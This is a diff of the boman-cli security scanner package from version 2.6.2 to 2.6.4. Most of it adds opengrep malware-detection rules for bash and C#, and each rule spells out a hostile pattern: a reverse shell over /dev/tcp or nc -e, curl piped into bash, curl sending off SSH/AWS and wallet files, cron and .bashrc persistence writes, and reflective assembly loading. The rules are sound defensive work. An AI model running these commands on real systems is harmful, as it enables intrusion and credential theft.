boman-cli 2.6.2__tar.gz → 2.6.4__tar.gz

{boman_cli-2.6.2 → boman_cli-2.6.4}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: boman-cli
-Version: 2.6.2
+Version: 2.6.4
 Summary: CLI tool of boman.ai
 Home-page: https://boman.ai
 Author: Sumeru Software Solutions Pvt. Ltd.
@@ -103,6 +103,15 @@ Example: boman-cli -a run -zap_session_script ./session.js
 
 # Release Notes:
 
+### 2.6.4
+- **Malware detection rules** - Malware rules for bash, c#, generic, go, java, js, php, python, ruby and rust added
+
+### 2.6.3
+- **Bug fix** - minor bug fixes
+
+### 2.6.2
+- **Updated rules** - new rules added
+
 ### 2.6.1
 - **Updated tools** - updated SAST, SCA and Secret scan tools
 

{boman_cli-2.6.2 → boman_cli-2.6.4}/README.md

@@ -81,6 +81,15 @@ Example: boman-cli -a run -zap_session_script ./session.js
 
 # Release Notes:
 
+### 2.6.4
+- **Malware detection rules** - Malware rules for bash, c#, generic, go, java, js, php, python, ruby and rust added
+
+### 2.6.3
+- **Bug fix** - minor bug fixes
+
+### 2.6.2
+- **Updated rules** - new rules added
+
 ### 2.6.1
 - **Updated tools** - updated SAST, SCA and Secret scan tools
 

{boman_cli-2.6.2 → boman_cli-2.6.4}/boman_cli.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: boman-cli
-Version: 2.6.2
+Version: 2.6.4
 Summary: CLI tool of boman.ai
 Home-page: https://boman.ai
 Author: Sumeru Software Solutions Pvt. Ltd.
@@ -103,6 +103,15 @@ Example: boman-cli -a run -zap_session_script ./session.js
 
 # Release Notes:
 
+### 2.6.4
+- **Malware detection rules** - Malware rules for bash, c#, generic, go, java, js, php, python, ruby and rust added
+
+### 2.6.3
+- **Bug fix** - minor bug fixes
+
+### 2.6.2
+- **Updated rules** - new rules added
+
 ### 2.6.1
 - **Updated tools** - updated SAST, SCA and Secret scan tools
 

boman_cli-2.6.4/boman_cli.egg-info/SOURCES.txt

@@ -0,0 +1,117 @@
+README.md
+setup.cfg
+setup.py
+boman_cli.egg-info/PKG-INFO
+boman_cli.egg-info/SOURCES.txt
+boman_cli.egg-info/dependency_links.txt
+boman_cli.egg-info/entry_points.txt
+boman_cli.egg-info/requires.txt
+boman_cli.egg-info/top_level.txt
+bomancli/Config.py
+bomancli/_init_.py
+bomancli/auth.py
+bomancli/base_logger.py
+bomancli/dev_attribution.py
+bomancli/loc_finder.py
+bomancli/main.py
+bomancli/sbom_enricher.py
+bomancli/utils.py
+bomancli/validation.py
+bomancli/malware_rules/boman/bash/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/bash/02-reverse-shell.yaml
+bomancli/malware_rules/boman/bash/03-download-and-execute.yaml
+bomancli/malware_rules/boman/bash/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/bash/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/bash/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/bash/08-persistence.yaml
+bomancli/malware_rules/boman/bash/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/bash/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/csharp/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/csharp/02-reverse-shell.yaml
+bomancli/malware_rules/boman/csharp/03-download-and-execute.yaml
+bomancli/malware_rules/boman/csharp/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/csharp/05-lifecycle-hook-abuse.yaml
+bomancli/malware_rules/boman/csharp/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/csharp/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/csharp/08-persistence.yaml
+bomancli/malware_rules/boman/csharp/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/csharp/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/csharp/12-insecure-deserialization.yaml
+bomancli/malware_rules/boman/generic/01-obfuscated-dynamic-exec-confusable-unicode.yaml
+bomancli/malware_rules/boman/generic/05-lifecycle-hook-abuse-composer.yaml
+bomancli/malware_rules/boman/generic/05-lifecycle-hook-abuse-npm.yaml
+bomancli/malware_rules/boman/generic/11-trojan-source.yaml
+bomancli/malware_rules/boman/generic/boman-malware-detection.yml
+bomancli/malware_rules/boman/go/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/go/02-reverse-shell.yaml
+bomancli/malware_rules/boman/go/03-download-and-execute.yaml
+bomancli/malware_rules/boman/go/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/go/05-lifecycle-hook-abuse.yaml
+bomancli/malware_rules/boman/go/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/go/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/go/08-persistence.yaml
+bomancli/malware_rules/boman/go/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/go/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/java/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/java/02-reverse-shell.yaml
+bomancli/malware_rules/boman/java/03-download-and-execute.yaml
+bomancli/malware_rules/boman/java/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/java/05-lifecycle-hook-abuse.yaml
+bomancli/malware_rules/boman/java/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/java/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/java/08-persistence.yaml
+bomancli/malware_rules/boman/java/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/java/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/java/12-insecure-deserialization.yaml
+bomancli/malware_rules/boman/javascript/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/javascript/02-reverse-shell.yaml
+bomancli/malware_rules/boman/javascript/03-download-and-execute.yaml
+bomancli/malware_rules/boman/javascript/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/javascript/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/javascript/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/javascript/08-persistence.yaml
+bomancli/malware_rules/boman/javascript/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/javascript/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/javascript/12-insecure-deserialization.yaml
+bomancli/malware_rules/boman/php/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/php/02-reverse-shell.yaml
+bomancli/malware_rules/boman/php/03-download-and-execute.yaml
+bomancli/malware_rules/boman/php/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/php/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/php/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/php/08-persistence.yaml
+bomancli/malware_rules/boman/php/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/php/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/php/12-insecure-deserialization.yaml
+bomancli/malware_rules/boman/python/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/python/02-reverse-shell.yaml
+bomancli/malware_rules/boman/python/03-download-and-execute.yaml
+bomancli/malware_rules/boman/python/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/python/05-lifecycle-hook-abuse.yaml
+bomancli/malware_rules/boman/python/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/python/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/python/08-persistence.yaml
+bomancli/malware_rules/boman/python/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/python/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/python/12-insecure-deserialization.yaml
+bomancli/malware_rules/boman/ruby/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/ruby/02-reverse-shell.yaml
+bomancli/malware_rules/boman/ruby/03-download-and-execute.yaml
+bomancli/malware_rules/boman/ruby/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/ruby/05-lifecycle-hook-abuse.yaml
+bomancli/malware_rules/boman/ruby/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/ruby/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/ruby/08-persistence.yaml
+bomancli/malware_rules/boman/ruby/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/ruby/10-filesystem-tampering.yaml
+bomancli/malware_rules/boman/ruby/12-insecure-deserialization.yaml
+bomancli/malware_rules/boman/rust/01-obfuscated-dynamic-exec.yaml
+bomancli/malware_rules/boman/rust/02-reverse-shell.yaml
+bomancli/malware_rules/boman/rust/03-download-and-execute.yaml
+bomancli/malware_rules/boman/rust/04-credential-exfiltration.yaml
+bomancli/malware_rules/boman/rust/06-suspicious-c2-endpoints.yaml
+bomancli/malware_rules/boman/rust/07-cryptominer-indicators.yaml
+bomancli/malware_rules/boman/rust/08-persistence.yaml
+bomancli/malware_rules/boman/rust/09-anti-analysis-evasion.yaml
+bomancli/malware_rules/boman/rust/10-filesystem-tampering.yaml
+bomancli/templates/template_plan.yaml

{boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/Config.py

@@ -121,7 +121,7 @@ class Config:
 
     log_level = "INFO"
 
-    version = 'v2.6.2'
+    version = 'v2.6.4'
 
     boman_config_file = 'boman.yaml'
     

{boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/main.py

@@ -869,23 +869,23 @@ def uploadReport(filename,toolname,tool_id,scan_details_id,type):
             r = requests.post(url,json=values)
             return 0 
         
-        # try:
-        #     logging.info('Removing the result file')
-        #     if type != "sbom" and type != "reachability":
-        #         logging.info("removing file %s",path)
-        #         os.remove(path)
-        #     elif Config.reachability_present is not True and type == 'sbom':
-        #         logging.info("removing file %s",path)
-        #         os.remove(path)    
-        #     elif type == "reachability":
-        #         os.remove(path)
-        #         os.remove(Path(str(Config.sbom_build_dir))/Config.sbom_response[0]['output_file'])
-        #         os.remove(path_reachability)
-        #         os.remove(path_bom)
-        #         logging.info("removing file %s, %s, %s, %s", path, path_reachability, path_bom, Path(str(Config.sbom_build_dir))/Config.sbom_response[0]['output_file'])
+        try:
+            logging.info('Removing the result file')
+            if type != "sbom" and type != "reachability":
+                logging.info("removing file %s",path)
+                os.remove(path)
+            elif Config.reachability_present is not True and type == 'sbom':
+                logging.info("removing file %s",path)
+                os.remove(path)    
+            elif type == "reachability":
+                os.remove(path)
+                os.remove(Path(str(Config.sbom_build_dir))/Config.sbom_response[0]['output_file'])
+                os.remove(path_reachability)
+                os.remove(path_bom)
+                logging.info("removing file %s, %s, %s, %s", path, path_reachability, path_bom, Path(str(Config.sbom_build_dir))/Config.sbom_response[0]['output_file'])
                 
-        # except Exception as e:
-        #     logging.error(f"unable to remove the file: {path} ---> Error: {e}")
+        except Exception as e:
+            logging.error(f"unable to remove the file: {path} ---> Error: {e}")
 
         tool_output = json.dumps(data, ensure_ascii=False, indent=4)
     

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/01-obfuscated-dynamic-exec.yaml

@@ -0,0 +1,28 @@
+rules:
+  - id: bash-obfuscated-dynamic-exec
+    languages: [bash]
+    severity: ERROR
+    message: >
+      A base64-decoded payload is piped straight into eval/bash/sh.
+      Strong indicator of a malware dropper hiding its real behavior from
+      static string scanning.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: obfuscated-dynamic-exec
+      mitre-attack: [T1027, T1059]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1027/
+        - https://attack.mitre.org/techniques/T1059/
+      remediation: >
+        Remove dynamic execution of decoded/obfuscated payloads. If dynamic
+        code loading is required, load from a signed, versioned, first-party
+        source and never from a decoded runtime string.
+    patterns:
+      - pattern-either:
+          - pattern: echo $X | base64 -d | bash
+          - pattern: echo $X | base64 -d | sh
+          - pattern: eval $(echo $X | base64 -d)
+          - pattern: eval "$(echo $X | base64 -d)"

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/02-reverse-shell.yaml

@@ -0,0 +1,29 @@
+rules:
+  - id: bash-reverse-shell-devtcp-nc
+    languages: [bash]
+    severity: ERROR
+    message: >
+      An interactive shell is wired to a raw TCP connection (via bash's
+      /dev/tcp pseudo-device or `nc -e`). This is the canonical shell
+      reverse-shell one-liner: it hands an attacker-controlled remote
+      endpoint an interactive shell.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: reverse-shell
+      mitre-attack: [T1059]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1059/
+      remediation: >
+        Remove the socket-to-shell wiring entirely. If remote command
+        execution is genuinely required, route it through an authenticated,
+        audited RPC/orchestration channel instead of a raw shell.
+    patterns:
+      - pattern-either:
+          - pattern: bash -i >& /dev/tcp/$HOST/$PORT 0>&1
+          - pattern: sh -i >& /dev/tcp/$HOST/$PORT 0>&1
+          - pattern: nc -e /bin/sh $HOST $PORT
+          - pattern: nc -e /bin/bash $HOST $PORT
+          - pattern: ncat -e /bin/sh $HOST $PORT

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/03-download-and-execute.yaml

@@ -0,0 +1,31 @@
+rules:
+  - id: bash-download-and-execute
+    languages: [bash]
+    severity: ERROR
+    message: >
+      A remote script is piped straight into a shell interpreter. This is
+      a download-and-execute stager: the real payload is never committed
+      to disk or source control, it's pulled at runtime.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: download-and-execute
+      mitre-attack: [T1105, T1059]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1105/
+        - https://attack.mitre.org/techniques/T1059/
+      remediation: >
+        Never pipe a remote download straight into a shell. Download,
+        verify (checksum/signature), inspect, then run -- or better, use
+        the platform's own package manager.
+    patterns:
+      - pattern-either:
+          - pattern: curl $URL | bash
+          - pattern: curl $URL | sh
+          - pattern: curl -s $URL | bash
+          - pattern: curl -sL $URL | bash
+          - pattern: wget -O- $URL | bash
+          - pattern: wget -O- $URL | sh
+          - pattern: wget -qO- $URL | bash

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/04-credential-exfiltration.yaml

@@ -0,0 +1,39 @@
+rules:
+  - id: bash-credential-exfiltration
+    languages: [bash]
+    severity: ERROR
+    message: >
+      An SSH/AWS credential file or a secret environment variable is sent
+      in an outbound curl request. This is the signature of a credential
+      stealer / exfiltration stager.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: credential-exfiltration
+      mitre-attack: [T1552, T1041]
+      confidence: MEDIUM
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1552/
+        - https://attack.mitre.org/techniques/T1041/
+      remediation: >
+        Never forward environment variables, SSH keys, or AWS credentials
+        over the network. If telemetry is required, send only an explicit
+        allow-listed field set to a first-party endpoint.
+    patterns:
+      - pattern-either:
+          - patterns:
+              - pattern: curl -d "$(cat $PATH)" $URL
+              - metavariable-regex:
+                  metavariable: $PATH
+                  regex: (?i).*(\.ssh|\.aws|credentials|id_rsa|\.env|seed|passphrase|wallet|\.seco|keystore|mnemonic|exodus|metamask|electrum).*
+          - patterns:
+              - pattern: curl --data-binary $ARG $URL
+              - metavariable-regex:
+                  metavariable: $ARG
+                  regex: (?i)^@.*(\.ssh|\.aws|credentials|id_rsa|\.env|seed|passphrase|wallet|\.seco|keystore|mnemonic|exodus|metamask|electrum).*
+          - patterns:
+              - pattern: curl $URL
+              - metavariable-regex:
+                  metavariable: $URL
+                  regex: .*\$(AWS_SECRET_ACCESS_KEY|AWS_ACCESS_KEY_ID|GITHUB_TOKEN|API_KEY|SSH_KEY).*

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/06-suspicious-c2-endpoints.yaml

@@ -0,0 +1,36 @@
+rules:
+  - id: bash-c2-webhook-beacon
+    languages: [bash]
+    severity: WARNING
+    message: >
+      Data is sent to a known exfiltration/C2 channel (Discord/Telegram
+      webhook, pastebin raw endpoint, or a hardcoded raw IP). Legitimate
+      integrations use documented, first-party APIs with proper auth, not
+      these ad hoc beacon endpoints.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: c2-endpoint
+      mitre-attack: [T1102, T1071]
+      confidence: MEDIUM
+      impact: MEDIUM
+      references:
+        - https://attack.mitre.org/techniques/T1102/
+        - https://attack.mitre.org/techniques/T1071/
+      remediation: >
+        Remove the hardcoded webhook/beacon endpoint. If Discord/Telegram
+        integration is genuinely required, document it explicitly and keep
+        the webhook URL out of source (config/secret store), not inline.
+    patterns:
+      - pattern-either:
+          - pattern: curl $URL
+          - pattern: curl -d $DATA $URL
+          - pattern: wget -O- $URL
+      - metavariable-regex:
+          metavariable: $URL
+          regex: (?i)^"?(https?://)?(discord(app)?\.com/api/webhooks|api\.telegram\.org/bot|pastebin\.com/raw|hookb\.in|\d{1,3}(\.\d{1,3}){3})
+      # Exclude private/loopback/link-local ranges from the raw-IP branch --
+      # these are extremely common in legitimate local-dev/test code (e.g.
+      # a test app talking to itself on 127.0.1.1) and produced real false
+      # positives in this repo's own clean-corpus validation.
+      - pattern-not-regex: '"(https?://)?(127\.|10\.|192\.168\.|169\.254\.|172\.(1[6-9]|2[0-9]|3[01])\.)'

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/07-cryptominer-indicators.yaml

@@ -0,0 +1,39 @@
+rules:
+  - id: bash-cryptominer-pool-connection
+    languages: [bash]
+    severity: ERROR
+    message: >
+      A connection targets a known cryptomining pool domain (raw socket or
+      a miner binary invocation with a `-o pool:port` argument). Strong
+      indicator of a cryptomining payload running on
+      compromised/unauthorized infrastructure.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: cryptominer-indicators
+      mitre-attack: [T1496]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1496/
+      remediation: >
+        Remove the connection to the mining pool. If this host was
+        compromised, treat it as an incident: rotate credentials and
+        inspect for a persistence mechanism that restarts the miner.
+    patterns:
+      - pattern-either:
+          - patterns:
+              - pattern: nc $HOST $PORT
+              - metavariable-regex:
+                  metavariable: $HOST
+                  regex: (?i)(pool\.minexmr\.com|xmrpool\.eu|nanopool\.org|supportxmr\.com|moneroocean\.stream|ethermine\.org|f2pool\.com|minergate\.com)
+          - patterns:
+              - pattern: xmrig -o $HOST
+              - metavariable-regex:
+                  metavariable: $HOST
+                  regex: (?i)(pool\.minexmr\.com|xmrpool\.eu|nanopool\.org|supportxmr\.com|moneroocean\.stream|ethermine\.org|f2pool\.com|minergate\.com)
+          - patterns:
+              - pattern: xmrig $ARG
+              - metavariable-regex:
+                  metavariable: $ARG
+                  regex: (?i)^--url=.*(pool\.minexmr\.com|xmrpool\.eu|nanopool\.org|supportxmr\.com|moneroocean\.stream|ethermine\.org|f2pool\.com|minergate\.com)

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/08-persistence.yaml

@@ -0,0 +1,32 @@
+rules:
+  - id: bash-persistence-cron-write
+    languages: [bash]
+    severity: WARNING
+    message: >
+      A line is appended to a cron/systemd persistence location and the
+      content looks like a download-and-run or shell command. This is a
+      common persistence mechanism: it re-executes the payload after
+      reboot or on a schedule, independent of the original dropper.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: persistence
+      mitre-attack: [T1053, T1547]
+      confidence: MEDIUM
+      impact: MEDIUM
+      references:
+        - https://attack.mitre.org/techniques/T1053/
+        - https://attack.mitre.org/techniques/T1547/
+      remediation: >
+        Remove the persistence-location write. If a scheduled task or
+        startup service is genuinely required, ship it through the normal
+        packaging/deployment mechanism instead of writing it
+        programmatically at runtime.
+    # NOTE: this is pattern-regex, not an AST `pattern:`, because opengrep's
+    # bash grammar does not reliably constrain a redirect target (`>>`) by
+    # path at all -- see .opengrep/rule-authoring.md "known engine
+    # limitations". A plain-text regex over the whole line sidesteps that.
+    patterns:
+      - pattern-either:
+          - pattern-regex: '(?i)echo\s+.*(curl |wget |bash -c|/tmp/).*>>\s*\S*(cron\.d|crontab|/etc/systemd/system|\.config/autostart|init\.d)\S*'
+          - pattern-regex: '(?i)crontab -l;\s*echo\s+.*(curl |wget |bash -c|/tmp/).*\|\s*crontab -'

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/09-anti-analysis-evasion.yaml

@@ -0,0 +1,39 @@
+rules:
+  - id: bash-sandbox-evasion-sleep-gated-exec
+    languages: [bash]
+    severity: WARNING
+    message: >
+      An unusually long sleep (>= 60s) gates a download-and-run or shell
+      command. Automated sandboxes typically analyze a sample for only a
+      short window; sleeping past that window before doing anything
+      malicious is a well-known sandbox/analysis-evasion technique.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: anti-analysis-evasion
+      mitre-attack: [T1497]
+      confidence: LOW
+      impact: MEDIUM
+      references:
+        - https://attack.mitre.org/techniques/T1497/
+      remediation: >
+        Remove the delay gating execution. If a genuine deferred/scheduled
+        action is needed, use the OS's own scheduler (cron/systemd timer)
+        instead of an in-script sleep, which is indistinguishable from
+        evasion.
+    # NOTE: metavariable-comparison on $N silently breaks matching in this
+    # opengrep build's bash grammar (confirmed empirically -- see
+    # .opengrep/rule-authoring.md), so the >= 60 threshold is approximated
+    # with metavariable-regex instead: two-plus digit second counts (60-99)
+    # or any three-or-more-digit count.
+    patterns:
+      - pattern-inside: |
+          sleep $N
+          ...
+      - metavariable-regex:
+          metavariable: $N
+          regex: ^([6-9][0-9]|[1-9][0-9]{2,})$
+      - pattern-either:
+          - pattern: curl $URL | bash
+          - pattern: curl $URL | sh
+          - pattern: eval $CMD

boman_cli-2.6.4/bomancli/malware_rules/boman/bash/10-filesystem-tampering.yaml

@@ -0,0 +1,28 @@
+rules:
+  - id: bash-filesystem-tampering-dotfile-write
+    languages: [bash]
+    severity: ERROR
+    message: >
+      A write targets a sensitive dotfile (.bashrc/.profile,
+      authorized_keys, a git hook) and the content looks like a
+      download-and-run or shell command. Tampering with these files is a
+      persistence/backdoor technique: the payload re-runs on every login,
+      SSH connection, or git operation.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: filesystem-tampering
+      mitre-attack: [T1546, T1565]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1546/
+        - https://attack.mitre.org/techniques/T1565/
+      remediation: >
+        Remove the tampering write. Never programmatically modify a user's
+        shell rc files, SSH authorized_keys, or git hooks -- these must
+        only change through explicit, auditable user/admin action.
+    # pattern-regex, not an AST `pattern:` -- see rules/bash/08-persistence.yaml
+    # and .opengrep/rule-authoring.md: bash redirect targets aren't
+    # reliably path-constrainable via AST patterns in this opengrep build.
+    pattern-regex: '(?i)echo\s+.*(curl |wget |bash -c|nc -e|/tmp/).*>>?\s*\S*(\.bashrc|\.bash_profile|\.profile|authorized_keys|\.git/hooks/)\S*'

boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/01-obfuscated-dynamic-exec.yaml

@@ -0,0 +1,31 @@
+rules:
+  - id: csharp-obfuscated-dynamic-exec
+    languages: [csharp]
+    severity: ERROR
+    message: >
+      A .NET assembly is loaded reflectively from a Base64-decoded byte
+      array at runtime. This is the classic .NET in-memory loader/dropper
+      technique: the real payload never touches disk and is invisible to
+      file-based AV scanning.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: obfuscated-dynamic-exec
+      mitre-attack: [T1027, T1059]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1027/
+        - https://attack.mitre.org/techniques/T1059/
+      remediation: >
+        Remove reflective loading of decoded/obfuscated assemblies. Load
+        dependencies through the normal, versioned package/reference
+        mechanism instead of decoding and loading a raw byte array.
+    patterns:
+      - pattern-either:
+          - pattern: Assembly.Load(Convert.FromBase64String(...))
+          - patterns:
+              - pattern-inside: |
+                  $T $BYTES = Convert.FromBase64String(...);
+                  ...
+              - pattern: Assembly.Load($BYTES)

boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/02-reverse-shell.yaml

@@ -0,0 +1,30 @@
+rules:
+  - id: csharp-reverse-shell-tcpclient-process
+    languages: [csharp]
+    severity: ERROR
+    message: >
+      A shell process (cmd.exe/sh/bash) is configured in the same scope as
+      a raw `TcpClient` connection. This is the canonical .NET
+      reverse-shell pattern: it hands an attacker-controlled remote
+      endpoint an interactive shell.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: reverse-shell
+      mitre-attack: [T1059]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1059/
+      remediation: >
+        Remove the socket-to-shell wiring entirely. If remote command
+        execution is genuinely required, route it through an authenticated,
+        audited RPC/orchestration channel instead of a raw shell.
+    patterns:
+      - pattern-inside: |
+          $T $C = new TcpClient(...);
+          ...
+      - pattern-either:
+          - pattern: $P.StartInfo.FileName = "cmd.exe";
+          - pattern: $P.StartInfo.FileName = "/bin/sh";
+          - pattern: $P.StartInfo.FileName = "/bin/bash";

boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/03-download-and-execute.yaml

@@ -0,0 +1,32 @@
+rules:
+  - id: csharp-download-and-execute
+    languages: [csharp]
+    severity: ERROR
+    message: >
+      A .NET assembly downloaded over HTTP is loaded reflectively via
+      Assembly.Load. This is a download-and-execute stager: the real
+      payload is never committed to disk or source control, it's pulled
+      at runtime.
+    metadata:
+      category: security
+      subcategory: [malware]
+      family: download-and-execute
+      mitre-attack: [T1105, T1059]
+      confidence: HIGH
+      impact: HIGH
+      references:
+        - https://attack.mitre.org/techniques/T1105/
+        - https://attack.mitre.org/techniques/T1059/
+      remediation: >
+        Never execute content fetched at runtime. Vendor the dependency,
+        pin it by hash, and load it through the normal, versioned
+        package/reference mechanism instead of downloading and executing a
+        raw payload.
+    patterns:
+      - pattern-either:
+          - pattern: Assembly.Load(await $CLIENT.GetByteArrayAsync(...))
+          - patterns:
+              - pattern-inside: |
+                  $T $BYTES = await $CLIENT.GetByteArrayAsync(...);
+                  ...
+              - pattern: Assembly.Load($BYTES)